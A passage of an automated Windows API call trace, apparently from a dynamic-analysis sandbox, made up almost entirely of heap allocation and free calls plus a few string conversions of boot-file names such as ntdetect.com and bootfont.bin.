RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xaf) returned 0x685f30 [0066.749] GetProcessHeap () returned 0x630000 [0066.749] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x664ec0 [0066.749] GetProcessHeap () returned 0x630000 [0066.749] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665100 | out: hHeap=0x630000) returned 1 [0066.749] GetProcessHeap () returned 0x630000 [0066.749] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664e18 | out: hHeap=0x630000) returned 1 [0066.749] GetProcessHeap () returned 0x630000 [0066.749] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x665100 [0066.749] GetProcessHeap () returned 0x630000 [0066.749] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xaa) returned 0x685f30 [0066.749] GetProcessHeap () returned 0x630000 [0066.749] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x665040 [0066.749] GetProcessHeap () returned 0x630000 [0066.749] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664ec0 | out: hHeap=0x630000) returned 1 [0066.749] GetProcessHeap () returned 0x630000 [0066.749] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665100 | out: hHeap=0x630000) returned 1 [0066.749] GetProcessHeap () returned 0x630000 [0066.749] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x665100 [0066.749] GetProcessHeap () returned 0x630000 [0066.749] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xa5) returned 0x685f30 [0066.749] GetProcessHeap () returned 0x630000 [0066.749] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x664ec0 [0066.750] GetProcessHeap () returned 0x630000 [0066.750] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665040 | out: hHeap=0x630000) returned 1 [0066.750] GetProcessHeap () returned 0x630000 [0066.750] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665100 | out: hHeap=0x630000) returned 1 [0066.750] GetProcessHeap () returned 0x630000 [0066.750] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x665040 [0066.750] GetProcessHeap () returned 0x630000 [0066.750] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xa0) returned 0x685f30 [0066.750] GetProcessHeap () returned 0x630000 [0066.750] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x6925f8 [0066.750] GetProcessHeap () returned 0x630000 [0066.750] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664ec0 | out: hHeap=0x630000) returned 1 [0066.750] GetProcessHeap () returned 0x630000 [0066.750] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665040 | out: hHeap=0x630000) returned 1 [0066.750] GetProcessHeap () returned 0x630000 [0066.750] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x692498 [0066.750] GetProcessHeap () returned 0x630000 [0066.750] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x97) returned 0x685f30 [0066.750] GetProcessHeap () returned 0x630000 [0066.750] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x692778 [0066.750] GetProcessHeap () returned 0x630000 [0066.750] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6925f8 | out: hHeap=0x630000) returned 1 [0066.750] GetProcessHeap () returned 0x630000 [0066.750] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692498 | out: hHeap=0x630000) returned 1 [0066.750] GetProcessHeap () returned 0x630000 [0066.750] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x6926b8 [0066.750] GetProcessHeap () returned 0x630000 [0066.750] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x8e) returned 0x685f30 [0066.750] GetProcessHeap () returned 0x630000 [0066.750] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x6925f8 [0066.750] GetProcessHeap () returned 0x630000 [0066.750] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692778 | out: hHeap=0x630000) returned 1 [0066.750] GetProcessHeap () returned 0x630000 [0066.750] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6926b8 | out: hHeap=0x630000) returned 1 [0066.750] GetProcessHeap () returned 0x630000 [0066.750] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x692458 [0066.750] GetProcessHeap () returned 0x630000 [0066.750] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x81) returned 0x685f30 [0066.750] GetProcessHeap () returned 0x630000 [0066.750] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692458 | out: hHeap=0x630000) returned 1 [0066.750] GetProcessHeap () returned 0x630000 [0066.750] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x685f30 | out: hHeap=0x630000) returned 1 [0066.750] GetProcessHeap () returned 0x630000 [0066.751] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692658 | out: hHeap=0x630000) returned 1 [0066.751] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x692600, cbMultiByte=12, lpWideCharStr=0x19ed68, cchWideChar=2047 | out: lpWideCharStr="ntdetect.com\\\x19c") returned 12 [0066.751] GetProcessHeap () returned 0x630000 [0066.751] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xd4) returned 0x685f30 [0066.751] GetProcessHeap () returned 0x630000 [0066.751] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x692778 [0066.751] GetProcessHeap () returned 0x630000 [0066.751] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x14) returned 0x692618 [0066.751] GetProcessHeap () returned 0x630000 [0066.751] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xca) returned 0x685f30 [0066.751] GetProcessHeap () returned 0x630000 [0066.751] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x692658 [0066.751] GetProcessHeap () returned 0x630000 [0066.751] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692778 | out: hHeap=0x630000) returned 1 [0066.751] GetProcessHeap () returned 0x630000 [0066.751] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692618 | out: hHeap=0x630000) returned 1 [0066.751] GetProcessHeap () returned 0x630000 [0066.751] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x18) returned 0x692638 [0066.751] GetProcessHeap () returned 0x630000 [0066.751] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xbc) returned 0x685f30 [0066.751] GetProcessHeap () returned 0x630000 [0066.751] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x665040 [0066.751] GetProcessHeap () returned 0x630000 [0066.751] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692658 | out: hHeap=0x630000) returned 1 [0066.751] GetProcessHeap () returned 0x630000 [0066.751] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692638 | out: hHeap=0x630000) returned 1 [0066.751] GetProcessHeap () returned 0x630000 [0066.751] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x665100 [0066.751] GetProcessHeap () returned 0x630000 [0066.751] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xb5) returned 0x685f30 [0066.751] GetProcessHeap () returned 0x630000 [0066.751] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x664ec0 [0066.751] GetProcessHeap () returned 0x630000 [0066.751] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665040 | out: hHeap=0x630000) returned 1 [0066.751] GetProcessHeap () returned 0x630000 [0066.751] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665100 | out: hHeap=0x630000) returned 1 [0066.751] GetProcessHeap () returned 0x630000 [0066.751] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x665100 [0066.751] GetProcessHeap () returned 0x630000 [0066.751] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xaf) returned 0x685f30 [0066.751] GetProcessHeap () returned 0x630000 [0066.752] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x665040 [0066.752] GetProcessHeap () returned 0x630000 [0066.752] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664ec0 | out: hHeap=0x630000) returned 1 [0066.752] GetProcessHeap () returned 0x630000 [0066.752] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665100 | out: hHeap=0x630000) returned 1 [0066.752] GetProcessHeap () returned 0x630000 [0066.752] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x665100 [0066.752] GetProcessHeap () returned 0x630000 [0066.752] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xaa) returned 0x685f30 [0066.752] GetProcessHeap () returned 0x630000 [0066.752] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x664f38 [0066.752] GetProcessHeap () returned 0x630000 [0066.752] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665040 | out: hHeap=0x630000) returned 1 [0066.752] GetProcessHeap () returned 0x630000 [0066.752] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665100 | out: hHeap=0x630000) returned 1 [0066.752] GetProcessHeap () returned 0x630000 [0066.752] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x665100 [0066.752] GetProcessHeap () returned 0x630000 [0066.752] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xa5) returned 0x685f30 [0066.752] GetProcessHeap () returned 0x630000 [0066.752] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x664e18 [0066.752] GetProcessHeap () returned 0x630000 [0066.752] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664f38 | out: hHeap=0x630000) returned 1 [0066.752] GetProcessHeap () returned 0x630000 [0066.752] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665100 | out: hHeap=0x630000) returned 1 [0066.752] GetProcessHeap () returned 0x630000 [0066.752] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x664ec0 [0066.752] GetProcessHeap () returned 0x630000 [0066.752] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xa0) returned 0x685f30 [0066.752] GetProcessHeap () returned 0x630000 [0066.752] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x692778 [0066.752] GetProcessHeap () returned 0x630000 [0066.752] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664e18 | out: hHeap=0x630000) returned 1 [0066.752] GetProcessHeap () returned 0x630000 [0066.752] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664ec0 | out: hHeap=0x630000) returned 1 [0066.752] GetProcessHeap () returned 0x630000 [0066.752] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x692838 [0066.752] GetProcessHeap () returned 0x630000 [0066.752] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x97) returned 0x685f30 [0066.752] GetProcessHeap () returned 0x630000 [0066.752] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x6927f8 [0066.752] GetProcessHeap () returned 0x630000 [0066.752] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692778 | out: hHeap=0x630000) returned 1 [0066.753] GetProcessHeap () returned 0x630000 [0066.753] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692838 | out: hHeap=0x630000) returned 1 [0066.753] GetProcessHeap () returned 0x630000 [0066.753] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x692838 [0066.753] GetProcessHeap () returned 0x630000 [0066.753] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x8e) returned 0x685f30 [0066.753] GetProcessHeap () returned 0x630000 [0066.753] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x692618 [0066.753] GetProcessHeap () returned 0x630000 [0066.753] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6927f8 | out: hHeap=0x630000) returned 1 [0066.753] GetProcessHeap () returned 0x630000 [0066.753] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692838 | out: hHeap=0x630000) returned 1 [0066.753] GetProcessHeap () returned 0x630000 [0066.753] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x692838 [0066.753] GetProcessHeap () returned 0x630000 [0066.753] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x81) returned 0x685f30 [0066.753] GetProcessHeap () returned 0x630000 [0066.753] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x692638 [0066.753] GetProcessHeap () returned 0x630000 [0066.753] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692618 | out: hHeap=0x630000) returned 1 [0066.753] GetProcessHeap () returned 0x630000 [0066.753] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692838 | out: hHeap=0x630000) returned 1 [0066.753] GetProcessHeap () returned 0x630000 [0066.753] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x6926b8 [0066.753] GetProcessHeap () returned 0x630000 [0066.753] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x74) returned 0x685f30 [0066.753] GetProcessHeap () returned 0x630000 [0066.753] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6926b8 | out: hHeap=0x630000) returned 1 [0066.753] GetProcessHeap () returned 0x630000 [0066.753] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x685f30 | out: hHeap=0x630000) returned 1 [0066.753] GetProcessHeap () returned 0x630000 [0066.753] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6925f8 | out: hHeap=0x630000) returned 1 [0066.753] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x692640, cbMultiByte=12, lpWideCharStr=0x19ed68, cchWideChar=2047 | out: lpWideCharStr="bootfont.bin\\\x19c") returned 12 [0066.753] GetProcessHeap () returned 0x630000 [0066.753] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xd4) returned 0x685f30 [0066.753] GetProcessHeap () returned 0x630000 [0066.753] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x692838 [0066.753] GetProcessHeap () returned 0x630000 [0066.753] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x14) returned 0x6927f8 [0066.753] GetProcessHeap () returned 0x630000 [0066.754] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xca) returned 0x685f30 [0066.754] GetProcessHeap () returned 0x630000 [0066.754] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x692778 [0066.754] GetProcessHeap () returned 0x630000 [0066.754] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692838 | out: hHeap=0x630000) returned 1 [0066.754] GetProcessHeap () returned 0x630000 [0066.754] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6927f8 | out: hHeap=0x630000) returned 1 [0066.754] GetProcessHeap () returned 0x630000 [0066.754] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x18) returned 0x6925f8 [0066.754] GetProcessHeap () returned 0x630000 [0066.754] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xbc) returned 0x685f30 [0066.754] GetProcessHeap () returned 0x630000 [0066.754] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x665100 [0066.754] GetProcessHeap () returned 0x630000 [0066.754] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692778 | out: hHeap=0x630000) returned 1 [0066.754] GetProcessHeap () returned 0x630000 [0066.754] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6925f8 | out: hHeap=0x630000) returned 1 [0066.754] GetProcessHeap () returned 0x630000 [0066.754] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x664e18 [0066.754] GetProcessHeap () returned 0x630000 [0066.754] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xb5) returned 0x685f30 [0066.754] GetProcessHeap () returned 0x630000 [0066.754] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x665040 [0066.754] GetProcessHeap () returned 0x630000 [0066.754] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665100 | out: hHeap=0x630000) returned 1 [0066.754] GetProcessHeap () returned 0x630000 [0066.754] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664e18 | out: hHeap=0x630000) returned 1 [0066.754] GetProcessHeap () returned 0x630000 [0066.754] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x665100 [0066.754] GetProcessHeap () returned 0x630000 [0066.754] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xaf) returned 0x685f30 [0066.754] GetProcessHeap () returned 0x630000 [0066.754] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x664e18 [0066.754] GetProcessHeap () returned 0x630000 [0066.754] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665040 | out: hHeap=0x630000) returned 1 [0066.754] GetProcessHeap () returned 0x630000 [0066.754] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665100 | out: hHeap=0x630000) returned 1 [0066.754] GetProcessHeap () returned 0x630000 [0066.754] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x665100 [0066.754] GetProcessHeap () returned 0x630000 [0066.754] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xaa) returned 0x685f30 [0066.754] GetProcessHeap () returned 0x630000 [0066.754] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x665040 [0066.754] GetProcessHeap () returned 0x630000 [0066.755] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664e18 | out: hHeap=0x630000) returned 1 [0066.755] GetProcessHeap () returned 0x630000 [0066.755] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665100 | out: hHeap=0x630000) returned 1 [0066.755] GetProcessHeap () returned 0x630000 [0066.755] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x665100 [0066.755] GetProcessHeap () returned 0x630000 [0066.755] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xa5) returned 0x685f30 [0066.755] GetProcessHeap () returned 0x630000 [0066.755] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x664ec0 [0066.755] GetProcessHeap () returned 0x630000 [0066.755] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665040 | out: hHeap=0x630000) returned 1 [0066.755] GetProcessHeap () returned 0x630000 [0066.755] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665100 | out: hHeap=0x630000) returned 1 [0066.755] GetProcessHeap () returned 0x630000 [0066.755] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x664f38 [0066.755] GetProcessHeap () returned 0x630000 [0066.755] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xa0) returned 0x685f30 [0066.755] GetProcessHeap () returned 0x630000 [0066.755] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x692778 [0066.755] GetProcessHeap () returned 0x630000 [0066.755] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664ec0 | out: hHeap=0x630000) returned 1 [0066.755] GetProcessHeap () returned 0x630000 [0066.755] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664f38 | out: hHeap=0x630000) returned 1 [0066.755] GetProcessHeap () returned 0x630000 [0066.755] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x6927f8 [0066.755] GetProcessHeap () returned 0x630000 [0066.755] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x97) returned 0x685f30 [0066.755] GetProcessHeap () returned 0x630000 [0066.755] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x692838 [0066.755] GetProcessHeap () returned 0x630000 [0066.755] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692778 | out: hHeap=0x630000) returned 1 [0066.755] GetProcessHeap () returned 0x630000 [0066.755] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6927f8 | out: hHeap=0x630000) returned 1 [0066.755] GetProcessHeap () returned 0x630000 [0066.755] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x6925f8 [0066.755] GetProcessHeap () returned 0x630000 [0066.755] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x8e) returned 0x685f30 [0066.755] GetProcessHeap () returned 0x630000 [0066.755] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x6927f8 [0066.755] GetProcessHeap () returned 0x630000 [0066.755] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692838 | out: hHeap=0x630000) returned 1 [0066.755] GetProcessHeap () returned 0x630000 [0066.755] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6925f8 | out: hHeap=0x630000) returned 1 [0066.756] GetProcessHeap () returned 0x630000 [0066.756] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x6925f8 [0066.756] GetProcessHeap () returned 0x630000 [0066.756] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x81) returned 0x685f30 [0066.756] GetProcessHeap () returned 0x630000 [0066.756] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x692618 [0066.756] GetProcessHeap () returned 0x630000 [0066.756] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6927f8 | out: hHeap=0x630000) returned 1 [0066.756] GetProcessHeap () returned 0x630000 [0066.756] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6925f8 | out: hHeap=0x630000) returned 1 [0066.756] GetProcessHeap () returned 0x630000 [0066.756] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x692778 [0066.756] GetProcessHeap () returned 0x630000 [0066.756] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x74) returned 0x685f30 [0066.756] GetProcessHeap () returned 0x630000 [0066.756] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x665040 [0066.756] GetProcessHeap () returned 0x630000 [0066.756] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692618 | out: hHeap=0x630000) returned 1 [0066.756] GetProcessHeap () returned 0x630000 [0066.756] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692778 | out: hHeap=0x630000) returned 1 [0066.756] GetProcessHeap () returned 0x630000 [0066.756] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x664f38 [0066.756] GetProcessHeap () returned 0x630000 [0066.756] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x6e) returned 0x685f30 [0066.756] GetProcessHeap () returned 0x630000 [0066.756] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664f38 | out: hHeap=0x630000) returned 1 [0066.756] GetProcessHeap () returned 0x630000 [0066.756] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x685f30 | out: hHeap=0x630000) returned 1 [0066.756] GetProcessHeap () returned 0x630000 [0066.756] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692638 | out: hHeap=0x630000) returned 1 [0066.756] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x665048, cbMultiByte=5, lpWideCharStr=0x19ed68, cchWideChar=2047 | out: lpWideCharStr="ntldront.bin\\\x19c") returned 5 [0066.756] GetProcessHeap () returned 0x630000 [0066.756] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xd4) returned 0x685f30 [0066.756] GetProcessHeap () returned 0x630000 [0066.756] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x692658 [0066.756] GetProcessHeap () returned 0x630000 [0066.756] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x14) returned 0x692778 [0066.756] GetProcessHeap () returned 0x630000 [0066.756] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xca) returned 0x685f30 [0066.756] GetProcessHeap () returned 0x630000 [0066.756] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x6925f8 [0066.756] GetProcessHeap () returned 0x630000 [0066.757] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692658 | out: hHeap=0x630000) returned 1 [0066.757] GetProcessHeap () returned 0x630000 [0066.757] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692778 | out: hHeap=0x630000) returned 1 [0066.757] GetProcessHeap () returned 0x630000 [0066.757] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x18) returned 0x692618 [0066.757] GetProcessHeap () returned 0x630000 [0066.757] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xbc) returned 0x685f30 [0066.757] GetProcessHeap () returned 0x630000 [0066.757] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x665100 [0066.757] GetProcessHeap () returned 0x630000 [0066.757] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6925f8 | out: hHeap=0x630000) returned 1 [0066.757] GetProcessHeap () returned 0x630000 [0066.757] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692618 | out: hHeap=0x630000) returned 1 [0066.757] GetProcessHeap () returned 0x630000 [0066.757] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x664f38 [0066.757] GetProcessHeap () returned 0x630000 [0066.757] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xb5) returned 0x685f30 [0066.757] GetProcessHeap () returned 0x630000 [0066.757] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x664e18 [0066.757] GetProcessHeap () returned 0x630000 [0066.757] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665100 | out: hHeap=0x630000) returned 1 [0066.757] GetProcessHeap () returned 0x630000 [0066.757] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664f38 | out: hHeap=0x630000) returned 1 [0066.757] GetProcessHeap () returned 0x630000 [0066.757] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x665100 [0066.757] GetProcessHeap () returned 0x630000 [0066.757] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xaf) returned 0x685f30 [0066.757] GetProcessHeap () returned 0x630000 [0066.757] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x664f38 [0066.757] GetProcessHeap () returned 0x630000 [0066.757] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664e18 | out: hHeap=0x630000) returned 1 [0066.757] GetProcessHeap () returned 0x630000 [0066.757] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665100 | out: hHeap=0x630000) returned 1 [0066.757] GetProcessHeap () returned 0x630000 [0066.757] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x664e18 [0066.757] GetProcessHeap () returned 0x630000 [0066.757] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xaa) returned 0x685f30 [0066.757] GetProcessHeap () returned 0x630000 [0066.757] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x665100 [0066.757] GetProcessHeap () returned 0x630000 [0066.757] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664f38 | out: hHeap=0x630000) returned 1 [0066.757] GetProcessHeap () returned 0x630000 [0066.757] HeapFree (in: hHeap=0x630000, 